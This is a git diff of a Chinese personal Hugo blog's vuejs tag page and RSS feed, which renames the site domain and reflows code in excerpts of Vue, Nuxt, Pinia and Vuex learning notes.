src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>vuejs</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Nuxt.js学习笔记</h2></header><div class=entry-content><p>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
 创建项目
 yarn create nuxt-app test
 需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等
@@ -9,16 +9,12 @@
 构建打包
 yarn build
 yarn start
-启动测试环境 yarn test</p></div><footer class=entry-footer><span title='2022-06-05 21:36:00 +0000 UTC'>2022-06-05</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nuxt.js学习笔记" href=https://xiaochenabc123.github.io/posts/152/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>vuejs底层原理学习笔记</h2></header><div class=entry-content><p>组件的渲染，更新
+启动测试环境 yarn test</p></div><footer class=entry-footer><span title='2022-06-05 21:36:00 +0000 UTC'>2022-06-05</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nuxt.js学习笔记" href=https://chenjunlinabc.github.io/posts/152/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>vuejs底层原理学习笔记</h2></header><div class=entry-content><p>组件的渲染，更新
 组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM
 vue应用的初始化
-import { createApp } from 'vue'
-import App from './app'
-const app = createApp(App)
-app.mount('#app')
-通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
+import { createApp } from 'vue' import App from './app' const app = createApp(App) app.mount('#app') 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
 通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的
-ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</p></div><footer class=entry-footer><span title='2022-04-26 20:00:00 +0000 UTC'>2022-04-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs底层原理学习笔记" href=https://xiaochenabc123.github.io/posts/147/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Pinia---vuejs的轻量级状态管理库</h2></header><div class=entry-content><p>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
+ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</p></div><footer class=entry-footer><span title='2022-04-26 20:00:00 +0000 UTC'>2022-04-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs底层原理学习笔记" href=https://chenjunlinabc.github.io/posts/147/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Pinia---vuejs的轻量级状态管理库</h2></header><div class=entry-content><p>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
 Pinia作者也是vuex核心之一
 安装pinia
 npm install pinia@next
@@ -26,24 +22,8 @@
 yarn add pinia@next
 导入pinia并且挂载为vue插件(在Vite脚手架下)
 src/main.js
-import { createApp } from 'vue'
-import App from './App.vue'
-const app = createApp(App)
-import { createPinia } from 'pinia'
-app.use(createPinia())
-app.mount('#app')
-src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
-import { defineStore } from 'pinia'
-export const useDataStore = defineStore('data', {
-state: () => {
-return { count: 666 }
-},
-//state: () => {
-//name: chen
-//},
-getters:{ // getters计算属性
-doubleCount(state){
-return state....</p></div><footer class=entry-footer><span title='2021-12-26 20:22:00 +0000 UTC'>2021-12-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Pinia---vuejs的轻量级状态管理库" href=https://xiaochenabc123.github.io/posts/124/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用vuex状态管理库</h2></header><div class=entry-content><p>vuex是一个专门为vuejs应用程序的设计的状态管理
+import { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
+import { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () => { return { count: 666 } }, //state: () => { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state....</p></div><footer class=entry-footer><span title='2021-12-26 20:22:00 +0000 UTC'>2021-12-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Pinia---vuejs的轻量级状态管理库" href=https://chenjunlinabc.github.io/posts/124/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用vuex状态管理库</h2></header><div class=entry-content><p>vuex是一个专门为vuejs应用程序的设计的状态管理
 集中式存储管理应用的所有组件的状态
 多组件状态共享，不同的组件改变同一个状态
 vuex知识点：state，getter，mutation，action
@@ -57,23 +37,11 @@
 new Vuex.store()
 将vuex实例挂载在vue对象上
 index.js
-Vue.use(Vuex)
-const store = new Vuex.Store({
-state: {
-count: 0
-}
-})
-export default store
-main.js
-new Vue({
-store // 将store对象添加到vue实例上
-})
-可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
+Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js
+new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
 使用解构获取状态： import { mapState } from ‘vuex’ export default { mounted() { console.log(this.count) }, computed: { …mapState([‘count’]) } }
 Getter
-getters: {
-getCount(state) {
-return state....</p></div><footer class=entry-footer><span title='2021-12-13 06:19:00 +0000 UTC'>2021-12-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用vuex状态管理库" href=https://xiaochenabc123.github.io/posts/123/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>深入学习vuejs</h2></header><div class=entry-content><p>Vue CLI是vue官方脚手架，可以快速创建vue项目
+getters: { getCount(state) { return state....</p></div><footer class=entry-footer><span title='2021-12-13 06:19:00 +0000 UTC'>2021-12-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用vuex状态管理库" href=https://chenjunlinabc.github.io/posts/123/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>深入学习vuejs</h2></header><div class=entry-content><p>Vue CLI是vue官方脚手架，可以快速创建vue项目
 安装vue-cli3
 npm install -g @vue/cli
 或者
@@ -95,11 +63,7 @@
 yarn start/yarn run dev
 如果运行报错error Component name “Home” should always be multi-word vue/multi-word-component-names
 只需要在vue.config.js添加lintOnSave: false配置，例如：
-module.exports = defineConfig({
-transpileDependencies: true,
-lintOnSave: false
-})
-这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了...</p></div><footer class=entry-footer><span title='2021-08-07 23:25:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vuejs" href=https://xiaochenabc123.github.io/posts/75/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://xiaochenabc123.github.io/tags/vuejs/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+module.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了...</p></div><footer class=entry-footer><span title='2021-08-07 23:25:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vuejs" href=https://chenjunlinabc.github.io/posts/75/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://chenjunlinabc.github.io/tags/vuejs/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/vuejs/index.xml b/tags/vuejs/index.xml
index 39bcd9fa..2c0ea167 100644
--- a/tags/vuejs/index.xml
+++ b/tags/vuejs/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>vuejs on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/vuejs/</link>
+    <link>https://chenjunlinabc.github.io/tags/vuejs/</link>
     <description>Recent content in vuejs on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 05 Jun 2022 21:36:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/vuejs/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 05 Jun 2022 21:36:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/vuejs/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Nuxt.js学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/152/</link>
+      <link>https://chenjunlinabc.github.io/posts/152/</link>
       <pubDate>Sun, 05 Jun 2022 21:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/152/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/152/</guid>
       <description>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
 创建项目
 yarn create nuxt-app test
@@ -34,24 +34,24 @@ yarn start
     
     <item>
       <title>vuejs底层原理学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/147/</link>
+      <link>https://chenjunlinabc.github.io/posts/147/</link>
       <pubDate>Tue, 26 Apr 2022 20:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/147/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/147/</guid>
       <description>组件的渲染，更新
 组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM
 vue应用的初始化
-import { createApp } from &#39;vue&#39;
import App from &#39;./app&#39;
const app = createApp(App)
app.mount(&#39;#app&#39;)
通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
+import { createApp } from &#39;vue&#39; import App from &#39;./app&#39; const app = createApp(App) app.mount(&#39;#app&#39;) 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
 通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的
 ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</description>
     </item>
     
     <item>
       <title>Pinia---vuejs的轻量级状态管理库</title>
-      <link>https://xiaochenabc123.github.io/posts/124/</link>
+      <link>https://chenjunlinabc.github.io/posts/124/</link>
       <pubDate>Sun, 26 Dec 2021 20:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/124/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/124/</guid>
       <description>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
 Pinia作者也是vuex核心之一
 安装pinia
@@ -60,16 +60,16 @@ npm install pinia@next
 yarn add pinia@next
 导入pinia并且挂载为vue插件(在Vite脚手架下)
 src/main.js
-import { createApp } from &#39;vue&#39;
import App from &#39;./App.vue&#39;
const app = createApp(App)
import { createPinia } from &#39;pinia&#39;
app.use(createPinia())
app.mount(&#39;#app&#39;)
src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
-import { defineStore } from &#39;pinia&#39;
export const useDataStore = defineStore(&#39;data&#39;, {
state: () =&amp;gt; {
return { count: 666 }
},
//state: () =&amp;gt; {
//name: chen
//},
getters:{ // getters计算属性
doubleCount(state){
return state.</description>
+import { createApp } from &#39;vue&#39; import App from &#39;./App.vue&#39; const app = createApp(App) import { createPinia } from &#39;pinia&#39; app.use(createPinia()) app.mount(&#39;#app&#39;) src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
+import { defineStore } from &#39;pinia&#39; export const useDataStore = defineStore(&#39;data&#39;, { state: () =&amp;gt; { return { count: 666 } }, //state: () =&amp;gt; { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state.</description>
     </item>
     
     <item>
       <title>简单使用vuex状态管理库</title>
-      <link>https://xiaochenabc123.github.io/posts/123/</link>
+      <link>https://chenjunlinabc.github.io/posts/123/</link>
       <pubDate>Mon, 13 Dec 2021 06:19:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/123/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/123/</guid>
       <description>vuex是一个专门为vuejs应用程序的设计的状态管理
 集中式存储管理应用的所有组件的状态
 多组件状态共享，不同的组件改变同一个状态
@@ -84,19 +84,19 @@ import Vuex from &amp;ldquo;vuex&amp;rdquo;
 new Vuex.store()
 将vuex实例挂载在vue对象上
 index.js
-Vue.use(Vuex)
const store = new Vuex.Store({
state: {
count: 0
}
})
export default store
main.js
-new Vue({
store // 将store对象添加到vue实例上
})
可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
+Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js
+new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
 使用解构获取状态： import { mapState } from &amp;lsquo;vuex&amp;rsquo; export default { mounted() { console.log(this.count) }, computed: { &amp;hellip;mapState([&amp;lsquo;count&amp;rsquo;]) } }
 Getter
-getters: {
getCount(state) {
return state.</description>
+getters: { getCount(state) { return state.</description>
     </item>
     
     <item>
       <title>深入学习vuejs</title>
-      <link>https://xiaochenabc123.github.io/posts/75/</link>
+      <link>https://chenjunlinabc.github.io/posts/75/</link>
       <pubDate>Sat, 07 Aug 2021 23:25:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/75/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/75/</guid>
       <description>Vue CLI是vue官方脚手架，可以快速创建vue项目
 安装vue-cli3
 npm install -g @vue/cli
@@ -119,15 +119,15 @@ npm run serve
 yarn start/yarn run dev
 如果运行报错error Component name &amp;ldquo;Home&amp;rdquo; should always be multi-word vue/multi-word-component-names
 只需要在vue.config.js添加lintOnSave: false配置，例如：
-module.exports = defineConfig({
transpileDependencies: true,
lintOnSave: false
})
这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了</description>
+module.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了</description>
     </item>
     
     <item>
       <title>深入学习vue组件</title>
-      <link>https://xiaochenabc123.github.io/posts/53/</link>
+      <link>https://chenjunlinabc.github.io/posts/53/</link>
       <pubDate>Sat, 03 Jul 2021 11:16:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/53/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/53/</guid>
       <description>组件注册
 .component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）
 组件名命名：
@@ -136,24 +136,24 @@ module.exports = defineConfig({
transpileDependencies: true,
lintOnSave: false
}
 组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合
 直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用
 局部组件是使用一个JavaScript对象进行定义封装，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;datas-a&amp;gt;&amp;lt;/datas-a&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const datas ={
template: `
&amp;lt;div&amp;gt;
hallo
&amp;lt;/div&amp;gt;
`
}
const hallo = Vue.createApp({
components: {
&amp;quot;datas-a&amp;quot; : datas
}
}).mount(&#39;#app&#39;)
&amp;lt;/script&amp;gt;
components对象，键为自定义元素的名称，值为组件的实质对象
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;datas-a&amp;gt;&amp;lt;/datas-a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const datas ={ template: ` &amp;lt;div&amp;gt; hallo &amp;lt;/div&amp;gt; ` } const hallo = Vue.createApp({ components: { &amp;quot;datas-a&amp;quot; : datas } }).mount(&#39;#app&#39;) &amp;lt;/script&amp;gt; components对象，键为自定义元素的名称，值为组件的实质对象
 局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：
-const datab ={
components: {
&amp;quot;datas-a&amp;quot; : dataa
}
}
模块系统
+const datab ={ components: { &amp;quot;datas-a&amp;quot; : dataa } } 模块系统
 通过导入模块的方式导入组件，例如：
 import datas from &amp;lsquo;./datas&amp;rsquo;
 那么datas组件就是可以在当前使用了
 Props
 prop类型
 用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：
-const hallo = Vue.createApp({
component: {
props:{
abc: String,
xyz: Boolean,
},
template: `&amp;lt;h1&amp;gt;{{abc.</description>
+const hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `&amp;lt;h1&amp;gt;{{abc.</description>
     </item>
     
     <item>
       <title>vuejs基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/23/</link>
+      <link>https://chenjunlinabc.github.io/posts/23/</link>
       <pubDate>Wed, 16 Jun 2021 10:13:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/23/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/23/</guid>
       <description>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
 vue全家桶：Vue+VueRouter+Vuex
 vue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视
@@ -166,10 +166,10 @@ browser版本：包含esm,浏览器模块
 bundler版本：该版本不是完整版，min
 vuejs模板支持所有JavaScript表达式
 vuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{&amp;hellip;}}，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;p&amp;gt;{{ hallovuejs }}&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const hallo ={
data() {
return {
hallovuejs: &amp;quot;hallo vuejs!&amp;quot;
}
}
}
Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;)
&amp;lt;/script&amp;gt;
vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;a v-bind:href=&amp;quot;url&amp;quot;&amp;gt;{{ main }}&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const hallo ={
data() {
return {
url:&amp;quot;https://xiaochenabc123.test.com&amp;quot;,
main: &amp;quot;小陈的辣鸡屋&amp;quot;
}
}
}
Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;)
&amp;lt;/script&amp;gt;
这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;p&amp;gt;{{ hallovuejs }}&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const hallo ={ data() { return { hallovuejs: &amp;quot;hallo vuejs!&amp;quot; } } } Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;) &amp;lt;/script&amp;gt; vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;a v-bind:href=&amp;quot;url&amp;quot;&amp;gt;{{ main }}&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const hallo ={ data() { return { url:&amp;quot;https://xiaochenabc123.test.com&amp;quot;, main: &amp;quot;小陈的辣鸡屋&amp;quot; } } } Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;) &amp;lt;/script&amp;gt; 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
 而vue还提供了可以绑定事件的v-on属性，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;button v-on:click=&amp;quot;go&amp;quot;&amp;gt;{{ main }}&amp;lt;/button&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const hallo ={
data() {
return {
main: &amp;quot;hallo&amp;quot;
}
},
methods: {
go: function(){
console.</description>
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;button v-on:click=&amp;quot;go&amp;quot;&amp;gt;{{ main }}&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const hallo ={ data() { return { main: &amp;quot;hallo&amp;quot; } }, methods: { go: function(){ console.</description>
     </item>
     
   </channel>
diff --git a/tags/vuejs/page/1/index.html b/tags/vuejs/page/1/index.html
index 9239c0f4..bab4497b 100644
--- a/tags/vuejs/page/1/index.html
+++ b/tags/vuejs/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/vuejs/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/vuejs/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/vuejs/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/vuejs/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/vuejs/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/vuejs/"></head></html>
\ No newline at end of file
diff --git a/tags/vuejs/page/2/index.html b/tags/vuejs/page/2/index.html
index 094fe7be..b036f336 100644
--- a/tags/vuejs/page/2/index.html
+++ b/tags/vuejs/page/2/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>vuejs | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/vuejs/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/vuejs/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="vuejs"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/vuejs/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" 